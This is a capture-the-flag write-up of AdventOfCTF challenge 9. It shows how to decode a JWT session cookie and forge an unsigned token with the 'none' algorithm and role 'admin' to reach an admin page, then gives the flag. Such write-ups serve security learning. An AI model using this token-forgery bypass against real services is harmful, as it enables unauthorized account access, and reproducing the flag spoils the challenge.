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+author = "Maik de Kruif"
+title = "Challenge 9 - AdventOfCTF"
+date = 2020-12-09T09:24:52+01:00
+description = "A writeup for challenge 9 of AdventOfCTF."
+cover = "img/adventofctf/973ded4b2381c28af6c24d3d670303c6.png"
+tags = [
+    "AdventOfCTF",
+    "challenge",
+    "ctf",
+    "hacking",
+    "writeup",
+    "web",
+]
+categories = [
+    "ctf",
+    "writeups",
+    "hacking",
+]
++++
+
+- Points: 900
+
+## Description
+
+Can you find a way to get into the Naughty List Management System as an admin?
+
+Visit <https://09.adventofctf.com> to start the challenge.
+
+## Finding the vulnerability
+
+Upon opening the website, we're greeted with a login screen. When we enter random credentials, we're greeted with some text: "Hey **user** your **password** is incorrect.".
+
+This took me quite some time to find out, but it's actually fairly obvious. I started by taking a look at the cookies, but there were none. Then I tried some common URLs, but nothing (except `/admin`). Then I took another look at the error message; some bold text... The username is `user` and the password is `incorrect`.
+
+When entering these credentials, we get redirected to `/admin` with a message: "The naughty list is currently empty....". This time, however, we also got a cookie.
+
+```text
+eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NzE3ODU3fQ.rre-8SBgllKlu7KpJFXuO-SEN3s-9IPRSJ7hmclXpNs
+```
+
+### JWT
+
+This looks like a JWT. We can confirm this by decoding the text before the first period (`.`):
+
+```bash
+echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -d
+```
+
+```json
+{ "typ": "JWT", "alg": "HS256" }
+```
+
+It is a JWT that uses the HMAC-SHA256 (`HS256`) algorithm. Using a [JSON Web Token (JWT)](https://en.wikipedia.org/wiki/JSON_Web_Token) is a compact, URL-safe, way of representing claims between a web server and a client. Let's decode the second part as well.
+
+```bash
+echo -n "eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NzE3ODU3fQ" | base64 -d
+```
+
+```json
+{
+  "auth": 28961,
+  "text": "I do love a good puzzle.",
+  "role": "user",
+  "iat": 1607717857
+}
+```
+
+We don't have to decode the last part as it is a secret that consists of non-printable characters.
+
+The role in the JWT probably has to be changed to `"admin"` so let's try to do that.
+
+#### Modifying a JWT
+
+To modify a JWT, we would have to know the secret that was used to create it. If only there were some [vulnerabilities](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) 😀.
+
+In a JWT you can use `none` as the algorithm. It is intended to be used for situations where the integrity of the token has already been verified. Luckily for us, some libraries treat tokens signed with the `none` algorithm as a valid token with a verified signature. This means anyone can create their own "signed" tokens with whatever payload they want, allowing arbitrary account access on some systems.
+
+To create such a JWT, we just reverse the process. Firstly, we create the first part of the token.
+
+```bash
+echo -n '{"typ":"JWT","alg":"none"}' | base64
+> eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
+```
+
+Then the middle part:
+
+```bash
+echo -n '{"auth":28961,"text":"I do love a good puzzle.","role":"admin","iat":1607717857}' | base64
+> eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzcxNzg1N30=
+```
+
+And finally, the secret. We can leave this empty because we use the `none` algorithm.
+
+Putting all of this together and removing the padding (`=`), we get `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzcxNzg1N30.`
+
+## Solution
+
+When setting the cookie to this value and reloading the page, we get the flag: `NOVI{Jw7_f@ilure_in_n0ne}`.
+
+This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#9-10).